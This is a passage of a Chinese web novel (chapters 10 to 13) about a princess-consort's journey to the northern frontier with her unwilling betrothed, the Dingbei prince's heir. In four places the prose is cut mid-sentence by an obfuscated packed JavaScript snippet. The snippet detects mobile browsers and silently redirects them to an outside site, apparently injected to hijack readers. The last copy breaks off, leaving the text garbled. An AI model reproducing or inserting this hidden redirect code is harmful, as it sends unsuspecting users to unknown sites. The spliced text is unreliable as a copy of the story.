指挥使笑盈盈地驱马上前,抱拳一礼:“世子殿下,好巧,您这是也准备回云中郡了?” 郡主真没说错,这世子爷竟真想偷摸丢下他们跑路。幸好他听了郡主的话,命众人即刻启程,可将人堵住了。 百里浔舟:“……” 真是阴魂不散。 百里浔舟径直越过他,驱马停到郡主的车架旁,声音冷淡听不出喜怒:“郡主不是病了,怎么不再歇息休养些时日?” 马车内,封眠轻轻倚到车窗旁。她午间又用了次药,此时已退烧了,只是仍然虚弱,因此说话慢慢的,咬字轻软:““多谢世子关心,我已病习惯了,于赶路无碍。婚期在即,总不好在此处耽搁。万一王爷和世子觉得我有心怠慢,便是我的错了。” 女儿家娇滴滴的说话像是在撒娇,百里浔舟别扭地扑棱扑棱耳朵,心里泛起嘀咕:婚期在即?少说还有月余之久,如此说辞,是迫不及待,还是在提醒他不应将未婚妻子丢在哨岗,自己先行? 这盛京的人说话当真是弯弯绕绕,烦。 “郡主既是这般想,本世子倒多管闲事了。” 马车内,封眠三人面面相觑,怎么说了两句话,人好像又生气了? 接着便听马车外马蹄轻动的声音,百里浔舟竟就这么要走了。 封眠急忙拍了拍窗:“世子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036544|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等等!” 听见马匹停下的声音,她开门见山问道:“世子可是要回云中郡?” 百里浔舟冷淡地:“嗯。” “我等可否与世子同行?昨夜之事,我、我有些怕……” 百里浔舟丝毫没有怜花惜玉之意:“我等行军的速度,郡主怕是跟不上。” “世子只要同意我等同行即可,绝不会拖累世子。” “郡主随意。”百里浔舟懒得掰扯,应下边走了。 得了首肯,封眠忙让雾柳唤来指挥使,吩咐他带队全力跟上百里浔舟,不必顾忌她的身体。 但上路后,不知是不是因携带了大量收缴赃物的原因,百里浔舟等人的行军速度竟不算太快,指挥使带队亦步亦趋地跟着,封眠也没觉得这赶路速度有多难受。 马车内,流萤跃跃欲试地将手搁在窗上,满眼都是好奇:“真的不能开窗偷偷瞧一眼吗?我还不知道这世子爷生得什么模样呢,有丑到惨绝人寰吗?” 她问雾柳,毕竟百里浔舟来拜见时,是雾柳在外接待的。 雾柳无奈:“我只是个婢子,传话时岂敢盯着世子的脸瞧?” 流萤可怜巴巴地瞧向封眠,这种近在咫尺却看不到的感觉实在让人抓心挠肝。 封眠好笑地倚靠在软枕上,用披风将自己包裹起来。“好啦,你自己开窗偷偷地看,别被发现了。世子爷气性大,别误会了咱们在背后悄悄说他坏话。” 话说完,封眠顿了顿,自己方才说的话,好像就是在背后悄悄说他坏话…… “谢郡主!”流萤喜滋滋地拉开窗,从缝隙向外打量,视线在人群中搜索着:“哪个是呀?” “背着长枪,束高马尾,身型最挺拔的那个便是了。”封眠闭着眼睛回道,眼前又浮现了那夜少年被血腥气裹挟着道背影。 流萤下一瞬便找到了百里浔舟的身影,啧啧叹道:“瞧着也不像是五大三粗的野蛮人嘛……” 北方白日长,此时也到了黄昏之际,暮色流朱,天际漫开水墨般的烟霭,少年单骑的剪影拓于其间,恍若画卷。 “画”中人似有所觉,忽地回头看来,视线锐利如箭一般,吓得流萤哐叽就将窗拉上了。 “吓死我了。”她拍拍胸脯,惊魂未定,平复片刻后,眼睛亮晶晶地靠到封眠身侧,“奴婢虽然没瞧太真切,但是可以确定,世子爷生得不丑呀!就是确实凶了些,难怪人家把他传成那样。就方才那一眼,奴婢后脊都凉透了!” 你这是还没看见他威胁人、痛下杀手的时候呢。封眠拍了拍流萤的头,安慰道“莫怕,有我在呢,他凶也不敢凶到你头上。” 封眠已看出来了,百里浔舟虽然说着行军速度快、不会等他们,实则还是有意降了速,还派了几名疾羽营的人在后方压阵。 看来这位世子爷虽然嘴巴硬,手段狠,但多多少少还是会给她些薄面,没有到完全不顾忌皇权的地步。 如此,她日后行事就能更便宜些了。 11. 第 11 章 在浓酽夜色将道路尽数吞没之前,众人在处空旷的荒林内扎营。 疾羽营虽放慢了些步子,但显然并没有打算迁就郡主的赶路习惯,夜里没有找驿站,随意找了片便于饮水放马之处便停下歇息。 包括百里浔舟在内的疾羽营众人都直接啃起了干粮,秩序井然。 马车上,封眠面前也摆着干巴巴的干粮。 她们带在身上的吃食,在狼骨岭弃置了一夜,尽数被野狼叼去了。而哨岗也没什么新鲜吃食,只能买得到干粮充作补给,即便陪嫁队伍里有几名御厨,也难为无米之炊。 封眠撕下一点点饼皮咀嚼,粗粝的口感没有丝毫粮食香气,下咽时都有些剌嗓子。 她自窗户缝隙看见疾羽营众人三下五除二便将干粮吞吃下肚,接着倒地就睡,抓紧时间养精蓄锐。 军营的干粮想必比她们从哨岗买来的还要更加难以下咽,但他们没有一人露出食不下咽的神色,都是一副习以为常的适应模样,想来平时日日皆是如此。 如今并非战时的急行军,只需等几日后回到云中郡,他们便也能吃上热乎的饭菜了。但行军打仗时,估计要这样苦苦熬许久。 封眠默默盯了半晌,想着当年父亲出征时,是不是也是如此? 她只与父亲短短相处了三日,关于父亲的许多事都是从旁人的口中得知。而嘉裕帝最不喜欢她打听父亲的事,所以时至今日,关于父亲,她也只能拼凑出一个极为模糊的形象,那是一个众人眼中骁勇善战、但亏欠妻女的大将军。 现在旁观那些与父亲一样守卫边疆,征蛮伐夷的将士们行止坐卧,关于父亲的想象仿佛也能更鲜活一些了。 收回视线,封眠强迫自己又吃了一口。这一口饼子噎人的紧,灌了半壶茶才算顺了下去。 “郡主此行可是受大罪了。”流萤心疼垂首。她两手捧着大饼,也吃得龇牙咧嘴。 “你们不是也在跟着我受苦?也心疼心疼自己吧。”封眠倒了两杯茶推给她们,苦中作乐道:“这比符灰水可强多啦。起码是能入口的食物不是?” 被太后搓磨的那些时日早已远去,但封眠仍记得符灰水那种烟熏火燎的味道,还有胃饿得烧灼的感觉。所以也倍加珍惜每一份口粮。 但此刻她本就没什么胃口,两口饼半壶茶便将肚子占满了,食欲全无,只能将自己吃剩的干粮小心包起来,让雾柳留着下一顿再吃。 然后便准备洗漱休憩。 雾柳有些发愁,郡主在病中本应该吃些好的,如今只灌了个水饱怎么能成?她一筹莫展地下了马车去吩咐人准备热水,扭身便遇见了陆鸣竹。 陆鸣竹比指挥使这些行伍中人要细致多了,他特意来问郡主的用餐情况。听闻郡主只用了两口饼,他便同雾柳一起发起愁来。 “请指挥使带人打些野味来给郡主加餐如何?”陆鸣竹瞅了瞅指挥使所在的方位。 许是有疾羽营众人在旁做对比,指挥使也不想盛京来的鸾仪卫落了下风。将众人约束得规规矩矩,不许嫌弃食物,不许言行无状。毕竟他们在盛京时确实也没吃过这等干粮。 但都是天子兵,他们鸾仪卫也不是只食膏粱的! “这荒郊野岭的,去何处寻野味啊?郡主定是不许如此折腾的。”雾柳摇摇头,她们郡主从不是为一己私欲,便不管不顾折腾人的性子。她比谁都体谅众人赶路不易,更不希望因为自己的原因添麻烦。 “不折腾的。”陆鸣竹不大好意思地挠挠头,“我这人倒霉,若在树下站久了,便会有鸟雀登临,遗珠相赠……” 雾柳:“……啊?” 雾柳头次在人面前露出如此呆楞的神色。陆鸣竹说的文雅,翻译过来就是有鸟会在他头上拉屎,怎能不让人震惊! 这可真是,倒大霉啊…… 雾柳看向陆鸣竹的目光都带上了怜悯,有些不忍:“陆大人也不必如此舍身……” 但陆鸣竹坚持要为封眠做些什么,以报几次相救之情。他噔噔噔跑去将副使喊了过来,自己做饵诱鸟,副使则等待时机将鸟儿射下来。 “以自己做饵,引诱鸟儿来头顶拉屎”这种事谁见过?一群闲得无事的人呼啦啦围拢过来看热闹。 不远处百里浔舟瞧见,还当出了什么大事。问清缘由后,他神色更冷,瞥一眼郡主华贵地与周围格格不入的车架,冷嗤一声:“为一时口腹之欲,这种法子也想得出。” 对一切毫无所知的封眠正蜷在软垫上打瞌睡,迷迷蒙蒙地想着热水怎么还没送来,就昏昏沉沉地睡了过去。 待被喊醒时,面前便已摆着一碗鲜香的鸽子汤。 她呆怔了片刻才从梦中回神,纳罕道:“哪里来的鸽子?” 雾柳便将陆鸣竹的事说了。他确实是真倒霉,人往树下刚站了两息,便听见鸟翅扑棱声,一只鸽子不知从哪儿飞来,正要蹬腿拉屎,被副使一箭射了下来。 雾柳瞅准时机,一把将陆鸣竹拉开,没让那鸽子临死前留下的最后一点“遗珠”落到他的脑袋顶。 围观众人纷纷惊呼起来,难怪陆鸣竹骑马时都尽力躲着树影。有那看热闹的还想撺掇着陆鸣竹再来一次,被雾柳三言两语赶走了。 陆大人为了她们郡主如此舍身,她自然也要听郡主的,不能坐视旁人嘲笑戏弄陆大人。 封眠本来听到陆鸣竹主动请缨,而雾柳当真同他一起胡闹时就有些生气了,待听到后面雾柳也竭力做了补救,没有让陆鸣竹当真在众人面前丢脸,脸色才好看起来,但仍是训斥了雾柳。 “下次不许再如此胡闹了。今日若是出了点差错,鸟屎当众落到陆大人头上,你可知此等羞辱日后会随他到何时?都是同朝为官之人,日后回了盛京,众人皆做笑谈,你让陆大人如何在朝中自处?” “是奴婢错了。下次再不会了。今日这汤都已做好了,郡主便尝尝吧。也是陆大人一番心意。”雾柳柔声劝到,生怕封眠因为生气就不肯吃了。 封眠又拿了只碗,将鸽子汤分出一半,交给雾柳。 “将这碗送去给陆大人吧,代我谢过他。” 雾柳接了碗便去送汤,封眠又将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036545|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的半碗分作三份,分给雾柳和流萤。 流萤忙摆手:“奴婢们不吃,郡主您自己用吧。这一碗本就没有多少……” “我吃这些便够了。你与雾柳一路为我操心,也是辛苦了,补一补吧。” 封眠摆出一副你不吃我也不吃的架势了,盯着流萤将分到的那碗汤喝了,才喝起自己的汤来。 若有可能,她倒想将这一碗汤分给所有的将士们尝一尝。一路前行,他们都或骑马或徒步,而她坐在马车里,风吹不着日晒不着,哪有什么喊累的资格。 这一碗热腾腾的鸽子落入胃里,安抚了肠胃,却总觉着沉甸甸的。 封眠不由想起方才小憩时做的梦,梦里有一种热水冲泡后便可即食的面饼,闻着香气扑鼻,里头还有脱水后的蔬菜和肉干,被热水一冲也盈润饱满起来。 日后若有机会,或许可以想法子将这东西做出来?这样边关将士行军时,也能吃些热乎的食物了。 但她怎么会突然梦见这东西呢?莫不是因为瞌睡时,她腹中食物消化殆尽,饥肠辘辘之际,就开始梦些吃食了吧? 看来偶尔挨挨饿,也没什么坏处嘛。 更阑人静,众人皆已睡下了,封眠还躺在铺开的软垫之上辗转反侧。 野外扎营的感觉实在陌生,她能听见外头风吹树枝的飒沓声,还有兵士们此起彼伏的呼噜声,再加上之前曾小憩一次,现下竟有些睡不着了。 她悄悄爬坐起来,裹紧鹤氅,抱起手炉,小心翼翼绕过守夜睡着的流萤和雾柳。 两人前夜照顾封眠,一宿没合眼,今日赶路时也时时关切着封眠的状态,连盹儿都没敢打一下,今夜可算得了安稳,现下睡得正香。因此谁都没注意到封眠悄悄推开马车门,走了出去。 夜半寒凉的风吹来清爽的空气,封眠徐徐吐了一口气,感觉憋闷的身体都轻盈了些许。 人果然还是要呼吸新鲜空气才行啊。 她缓缓踱出两步,仰首错开横七竖八的枝丫,便见漆黑的天幕倒扣如碗,盛着碎冰一般的数点星斗。星光流转,渺远迷人。 封眠望得脖子都酸了也舍不得收回视线,直到眼前微微有些发晕,才不舍地低下头,一抹亮晶晶的东西忽然闯入视野。 前方一株树上垂着一抹晶莹亮点,看星星看晕了神的封恍惚中眠疑见星子落人间,不自觉就走到了树下,竭力跳起来,拽住了那抹晶亮。 咔嚓一声,一截被踩断的树枝在封眠眼前落下。 树上坐起一个身影,高大大少年遮住了封眠视野中的半数星光,蹙眉垂首看着她,漆黑的瞳亮若星子。 “郡主半夜不睡觉,拽我的玉玦作甚?” 封眠手里拿着刚拽下来的那枚玉玦,呆呆地仰首看着突然出现在树上的百里浔舟。他方才一身漆黑地卧在夜色中,而她眼中只盯着那一点晃荡的微光,全没注意到树上竟还有个大活人。 当下被吓了一跳,呆怔了半晌,才慢半拍地向后踉跄了几步。 世子爷半夜不睡觉,躺在树上做什么?! 12. 第 12 章 星河垂野,风过林梢,满树枝桠缀着星光摇曳。 百里浔舟屈腿坐在树上俯首,树下的少女站在满地星霜里,呆呆地仰着首不说话。未戴钗环的黑发如瀑,毛绒绒的鹤氅裹着张素白的俏脸,鼻尖被风吹得微微泛红,仿若落了片桃花一般。 他蹙了蹙眉,自树上一跃而下,落在封眠身前,投落的影子恰好将封眠拢住。 封眠这才回过神来,找回自己的声音解释道:“我、我睡不着,起来走走。” 百里浔舟抬起手,封眠下意识后仰了一下,却见百里浔舟伸手拽出她还拿在手里的那枚圆形玉玦。 “郡主便是再喜欢,也不能夺人所好吧?”百里浔舟故意刺了一句。他夜里在外头一向睡不好,便干脆寻了个高处放哨。封眠悄悄下马车时他就听见动静了,只是懒得管。谁成想过了半晌,她居然走到跟前拽掉了他的玉玦。 很难不让人怀疑她是不是故意的。 封眠急忙道歉:“抱歉。我方才以为是星光……” 她有些不好意思,只觉自己刚才实在是犯傻了。 百里浔舟冷哼一声,系好玉玦后便抱臂赶人:“郡主无事还是快些回去吧,若是又病起来了,本世子可不会停下来等你。” 封眠确实开始察觉到丝丝冷意了,她毫不在意百里浔舟态度的冷淡与带刺的话,只冲他笑了笑,齿如编贝。 “多谢世子殿下关心。我还没谢过殿下一路的照拂,若殿下携疾羽营全力疾行,我等怕是早被甩在后头了。” “想多了,不是我愿照拂你,而是母亲有令,不得不从。”百里浔舟立即撇清关系,字里行间皆是“怕你告状”几个字,接着又直白道:“今日既无旁人在侧,本世子便与郡主有话直说了。” 封眠抬眼,看见百里浔舟清凉的眸光亦正专注地落于她的身上,漆黑的眸如被春山雪水洗过的黑曜石一般,凉浸浸又透透的亮。 “你我的婚事是圣上所赐,父亲母亲认下了,我却是不认的。”他的声音也是清凌凌的脆,像用竹签子轻轻地敲在薄胎瓷上,带着些微的凉意。 这世子爷,倒是意外的坦诚。 封眠没想到他会这般直白地与自己说他不愿这桩婚事。说实话,看他之前那般狠辣的行事作风,就是他此时掐着她的脖子逼她去退婚,都不让她意外。现下如此赤诚之言,倒是她沉默了半晌。 见封眠不说话,百里浔舟还以为她是受伤了,心下觉得如此甚好,知难而退,省得他与爹娘闹了。 他半点儿没有小姑娘难过了要去哄人家的自觉,反而喜滋滋道:“你若愿意呢,便去府上略坐一坐,定北王府定会好生招待,届时你慢慢与我母亲商议退婚之事。你若是不愿再赶路呢,便修书一封予我,我拿去给我母亲,你自去圣上说清楚。如何?” 最后问话时,他还微微抬了抬下巴,自认自己这两条路真是妙绝。 看他如此高兴的模样,封眠忽然生了些坏心思,慢吞吞笑道:“世子殿下若是早些说便好了。” 百里浔舟投来困惑一瞥,封眠接着道:“未见世子前,我亦十分忐忑,百般不愿。” 听见她说“不愿”,百里浔舟本应该高兴,但此刻不知为何感觉有些不妙。 封眠一双杏眸笑眯成了月牙,瞳仁闪着晶亮的光,语调带上了一些女儿家的羞涩:“但如今见世子风神俊朗,坦白真诚,当真与盛京一应世家子不同。我倒有些喜欢了。我看这婚事正好,不用退。” 还没查清楚你有没有谋反意图,何时有谋反意图,最终会不会谋反呢,这婚怎么能退? 不退,坚决不退。 几句话将百里浔舟吓得眼睛都瞪大了,眉眼间的锋锐之气尽数化作了不知所措,他什么也没做啊,她在喜欢什么? “等等……” “世子殿下说得对,夜间寒凉,我若再病了,就不能与世子同行了。我这便回去休息了。”封眠说着,将手中的如意云纹银手炉塞到了百里浔舟的手中,“这手炉便留给世子暖暖手吧,即便是习惯了北疆的天气,露宿在外也要当心身子。” 说罢也不给他再开口的机会,转身便快步往马车走。 百里浔舟下意识接住手炉时,封眠那被手炉熨得暖融融的指尖蹭过他微凉的掌心,烫得他险些跳起来,惊诧地瞪着双手间仍在孜孜不倦散发着暖意的手炉,好半晌都忘了动作。 再抬头时,那道裹在大红鹤氅之下的身影已进了马车,消失在视野间。 * 东方微白,群星渐隐。晓色之中,疾羽营众人已精神抖擞地准备开拔。鸾仪卫尚有些手忙脚乱地做最后的收整。北疆的夜实在冻人,好些人都没睡好,加之也没睡几个时辰,多数都有些萎靡。 封眠当真佩服疾羽营,他们定然也是历经了数年日以继夜的锤炼,才有如今的耐力。 不论世子其人如何,带兵倒真是有一套。 封眠的目光落在疾羽营当先骑马的少年身上,昨夜她回去便睡了个好觉,不知道世子是不是气得将手炉就地扔了。不过看他这般精神的模样,应当也没气许久吧。 百里浔舟察觉到背后的目光,整个后背后僵了。他一夜没睡,怀中的手炉又硌又烫,到后来渐渐没了热度,仍是个烫手山芋。 他可是堂堂定北王世子,风里来雨里去,落着大雪的夜都不知道在外露宿过多少次了,岂会娇气到需要一个小小手炉取暖? 当真可笑。 “殿下,姜茶。”山衣端了两个粗陶碗来,一碗递给百里浔舟,另一碗自己一口闷了。 “哪来的?”疾羽营可没有喝姜茶的习惯。 “郡主殿下的侍女送来的。说是熬了两大锅,祛祛寒气,暖身提神,人人有份。”山衣笑嘻嘻地往正分发姜汤的地方看了一眼,“世子您别说,喝上这么一碗,还真是暖和。” “我疾羽营中人有那般娇气?”百里浔舟不悦。小恩小惠,收买人心。 “哦,那属下再喝一碗。”见百里浔舟不接,话里话外不要喝的样子,山衣便将手收回来,准备自己喝掉。 碗刚递到嘴边,便被人大力抢走。山衣愕然抬首,便见百里浔舟一仰首,喉结上下轻动,几口便将姜茶喝尽了,又将空碗丢回他怀里。 “吩咐下去,快些喝完,马上开拔了。” “是。”山衣撇嘴,抱着两只空碗还回去。 * “啥?世子爷亲自护送郡主回来了?” 云中郡城门前,满头汗水的少年狂喝一海碗的水才缓过来。乡亲们估摸着郡主这两日就该到了,一大早派他去打探郡主距云中郡还有多少路程。结果他跑出去没几里,就看见了熟悉的疾羽营,当先领队的正是世子,再往后便跟着郡主的仪驾。 他唬了一跳,转身拔足狂奔,得赶在世子他们进程前把消息告诉乡亲们啊! “我亲眼看见的,还能是假的不成?”少年急道,“快,快都把东西撤了。世子马上就进城了!” 经少年一提醒,众人才着急忙慌地动起来。你撞我,我挤你的,还不忘跟少年八卦。“哎,你看世子爷脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036546|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?他是不是见到郡主之后,认下这桩婚事了?” 少年回忆了一下世子爷的脸色,打了个寒战:“我瞧世子那张死人脸,不是乐意的样子。八成是被缠上了,甩不脱!” 正说着话,嘚嘚马蹄声已到近前了。 山衣老远便看见城门口挤挤嚷嚷一群人,乐得指给百里浔舟看:“世子,快瞧,大家来列队欢迎你呢!” 世子也不知怎么了,这几日都绷着张脸,看点高兴的让他开心开心吧。 “本世子才几日不在城中,至于如此大阵仗吗?”百里浔舟嘴上不在意,唇角却暗暗勾了起来,不动声色地加快了速度。 城门口一众人瞬间一分为二,一半人乌泱泱地围上来拦住了百里浔舟的马,一迭声地跟世子爷问好。 “诸位叔伯婶娘,不必围在此处,都散开吧。今日郡主仪驾入城,改日晚辈再与诸位闲叙。”百里浔舟堪称温和地与围马众人说话。 叔伯婶娘们对视一眼,皆心虚地紧,不肯让,七嘴八舌地说起话来:“哎呀世子别着急嘛,这城门几时入得不是入?且再等一等。” “后头就是郡主的车驾吧?哎哟可真威风,这郡主生得什么模样啊?” 百里浔舟被围得心中奇怪,忽然看见被叔伯婶娘们挡在后头的人不知在忙碌什么,顿时疑上心头。他倒提长枪,以枪杆拨开挡路的人,策马上前,问道:“你们在做什么?” “世子不要!” 惊慌的话音未落,百里浔舟便觉身下的马踩到了什么东西,刚要低头看,忽警觉地抬头,手中长枪同时祭出—— 一捧捧韭菜薤白沙葱蕨菜兜头淋来,都是些味道重的蔬菜。 百里浔舟动作一滞,不愿伤及食物,长枪一撤,被各色蔬菜挂了满身,就地化作了一颗蔬菜树。 “哎哟喂世子爷呀!”众人又乌泱泱涌过来,摘菜到摘菜,捡菜的捡菜。 百里浔舟愈发不解:“你们到底在干什么?” 好端端的,在城门口设什么机关埋伏? 众人七手八脚地避开目光,谁也不敢看世子。百里浔舟用长枪枪杆抵住一开始传话的那名少年的脑袋:“阿好,你说。” 被唤作阿好的少年苦哈哈地往郡主车驾看了一眼:“大家心疼世子被逼婚,想着把人赶回去就好了……” “胡闹!”百里浔舟气得拿枪杆打了少年一头槌,“你们也不怕惹恼了郡主掉脑袋?” “国有国法,谁也没说倒点蔬菜就死罪了?这不是还隔着马车呢,也砸不到郡主啊,就是让她知道知道,我们北疆百姓都是站在世子您这边的!”阿好据理力争,“而且这菜都还新鲜着呢,您瞧!” “浪费粮食,罪加一等。”百里浔舟瞪他。他心中不爽,原本给郡主准备的大礼,怎么就被自己消受了?这云中郡真是越来越没规矩了。 “被父亲母亲知道了,定罚你们七日劳作。” 有大娘小心将阿好护到身后,讪笑着:“不浪费不浪费,洗洗能吃的。世子今日来家里吃饭啊?” “消受不起。”百里浔舟扯扯嘴角,想起身后马车上坐着的郡主,她定会过问此事,如何答话,才能让她不在母亲面前告状呢? 远处的马车上,封眠几人探头探脑。 流萤好奇道:“这是什么北疆的欢迎习俗吗?” “我只听过掷果盈车,往人身上砸这么大一捧蔬菜的,还真是头一次见。”封眠同样不解,探头看着北疆百姓围着百里浔舟忙得团团转的模样,有些惊讶他竟如此得人心。 13. 第 13 章 湛青天幕下,高逾九丈的城墙如一道巍峨山脊一般劈开如洗碧空。粗粝厚重的墙体上尚留有无法修补的箭孔刀痕。垛口处弩台森然,望楼上披甲执锐的定北军在朔风中巍然不动,冷峻非常。 铁盔下如鹰隼的目光却悄然而努力地往城墙下递,想瞧一瞧世子要如何结束这场闹剧。 百里浔舟眉眼一抬,将溜号众人抓个正着,厉眸一扫,众守卫纷纷收回视线,眼观鼻鼻观心。 “传我军令,今日之事,谁也不许传到王爷和王妃耳中去。”百里浔舟向守门的小将吩咐道,小将领命离去。 “菜收好了就给我。”百里浔舟伸手勾了勾。 阿好忙双手将装满的一个大菜篮费力地举起,挂在了百里浔舟的掌心,老老实实道:“都在这儿了。” 百里浔舟一把拎过菜篮,指挥众人:“都去一旁站好,待会儿郡主仪驾进城,只管喊欢迎。退婚之事我自有计较,你们别瞎掺和。” 说罢,他兀自转身向封眠的马车行去。 “呀,世子过来了。”流萤忙缩回头去,将封眠一人留在窗边。 封眠托着腮看百里浔舟策马而来,苍青的天和青灰的城墙如一幅画卷般拓在他身后。朔风将他的披风卷得飞扬而起,行到近前时勒马急停,丝滑地侧转马头,立在了窗前。 百里浔舟反手将菜篮递到窗前,几乎将车窗都塞满了。 他目光游移地垂落在菜篮上,尽力自然道:“这些是北疆百姓送予你的见面礼,欢迎郡主来到云中郡。” 封眠还未及反应,身后流萤不敢置信道:“还真是欢迎习俗啊?砸菜叶子吗?” “这不是普通的菜叶子,这是刚刚应季的新鲜蔬菜。北疆粮食少,这满满一篮子可尽是北疆百姓的心意。”百里浔舟立即解释道。 他着实不太会说谎,几句话说完,耳尖都红透了。封眠一见便知方才的话全是他现场胡编的。恐怕这一篮子菜虽是予她的见面礼,却不是什么“欢迎”的意思,是打着“送客”的主意呢。 封眠倒是半点都不生气,只觉得有些好笑。这赶人的手段也太温和了,连个臭鸡蛋都没用上,即便没有世子代受,是她本人被这些新鲜蔬菜砸一砸,也毫发无伤呀。 北疆的人莫不是都如此朴实吧? “那还请世子替我谢过诸位。”封眠将窗拉开,流萤和雾柳合力抱住那大菜篮,把其安置在马车内。 见事情似已解决,百里浔舟微不可察地松了口气,旋即又有些着恼,自己竟还要在此编瞎话哄一女子欢心。 他一面调转马头欲走,一面想着,若不是担心父亲母亲搞连坐,他定…… “世子等等。” 身后传来封眠的声音,百里浔舟侧首,见她冲自己招了招手,便下意识俯身凑过去,“还有何事……” 尾音断在喉间,面前的少女自马车内微微探身出来,抬起的手臂划过他的耳侧,带起一阵略带暖意的风,淡而清新的柑橘香瞬时盈于笔尖。 百里浔舟脊背发僵,直愣愣杵在原地,瞬息如过了一炷香那般漫长。 鸾仪卫挡住了郡主的车架,城墙下探头探脑的百姓们只能瞧见百里浔舟忽然俯身凑到马车前,却不知在干什么,七嘴八舌地猜测起来。 “世子莫不是被郡主威胁了,正卑微道歉呢?” “不不不,倒更像是世子被逼急了,威胁人呢!” “造孽哟,你说咱们何苦来哉!可怜的世子哦……” 马车前,封眠将挂在百里浔舟高束的马尾上、并未被发现的一株韭菜摘了下来,笑道:“既是百姓所赠,世子怎可私藏?” 白嫩的掌心捧着一抹绿色在他眼前一晃,百里浔舟嗖地撤身,一声不吭地扭头便走。 封眠茫然地目送他背影远去,说句玩笑话,怎的又生气了? 气性可真大。 “进城。”百里浔舟一声令下,城外的疾羽营和鸾仪卫终于向城内行去。 城门口的百姓们鹌鹑般挨挨挤挤,不敢当着百里浔舟的面大声说话,便你瞧我我瞅你的小声蛐蛐。 “看世子这脸色,真是气得不轻啊。” “可不是吗,脸都气红了!定是被郡主欺负了!” “往后日子长着呢,咱们且瞧吧,早晚让她在云中郡待不下去。” 百姓的轻声碎语,风一吹便散了。城门口的百姓们稀里哗啦地小小声喊着“欢迎郡主”,一道被风吹散了。 封眠耳边只听得马蹄嘚嘚,车轮辘辘,空气中开始浮动着丝缕烟火气息,便是进到城中了。 她将车窗拉开一条细细的缝,向外打量,目之所及皆是与盛京大为不同的风物,少雕梁画栋,多青石铁木等抗寒材料。每处屋舍都做了防风雪的设计,大开大合的粗犷之风令人望之心叹。 身侧忽然贴过一个人来,雾柳附耳轻语:“郡主,外面的人好像都在偷偷瞧您。” 封眠闻言往近前的人群看去,恰好撞上路边一个小孩没来得及抽走的视线。小孩戴着个虎头帽,一手拿着糖葫芦假吃,实则斜着眼睛偷偷往马车里看。 见被抓包,小孩呆了一下,下一秒就滋哇乱叫地跑开了。 流萤一脸的莫名其妙:“他怎么跟见了鬼似的,跑什么……啊!” 流萤正从探头探脑地从缝隙里追踪小孩逃跑的背影,视线一转,对上封眠龇牙咧嘴的鬼脸,吓得跌坐回座位上,拍拍胸口,气道:“郡主!吓死人了!” 难怪那小孩跑得那般快,换了她,她也得跑。 封眠捂唇闷笑。 雾柳将窗推上,好笑又无奈地看她一眼:“这下北疆百姓怕是要传郡主是个凶面獠牙的悍妇了。” “随他们传去吧。北疆百姓本就不欢迎我,总不能更差了。” 封眠满不在乎道,视线流连于长街,平整的街道两侧叫卖着许多封眠从未见过的奇巧事物,亦有许多异族风味。从屋舍商铺,到每一名百姓的脸上,都可见一种蓬勃粗野的生命力。 云中郡是整个北疆最少遭戎夷侵袭的城郡,较封眠一路所见的旁的地方更为宁乐祥和一些。 一道骑影慢了下来,渐渐挨近马车,在车窗一侧温文有礼地敲了两下,陆鸣竹低声道:“郡主,前头就到定北王府了。” “这么快?还没出闹市区呢。”盛京的贵族大宅动辄便占了一整条街巷,门前是断不许百姓经商的。 “定北王从不与民争利,喜欢与百姓亲近。听说府宅选在此处,亦是为了危难时刻,能护在百姓之前。” 定北王倒是爱民如子。 封眠坐正起来,让流萤和雾柳帮忙整理仪容。今早再次赶路前,她已换了身衣裳,穿了件鹅黄绣百蝶穿花襦群,外罩兔毛领织锦斗篷,满身清新春日的气息,一扫多日赶路的疲态。 定北王府那扇黑铁包铜大门敞开着,高悬的楠木匾额下,身型英武的定北王和秀雅端庄的王妃正并肩而立。 封眠下了马车本欲见礼,王妃径直向前两步拉住她的手,笑盈盈将她看了看,道:“郡主一路远行定是累了,不必如此多礼,快进来歇息。” “多谢王妃。”封眠乖巧一笑,跟王妃携手进了府门,目光不动声色地打量起定北王府。 百里浔舟刚迈步跟上,定北王一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 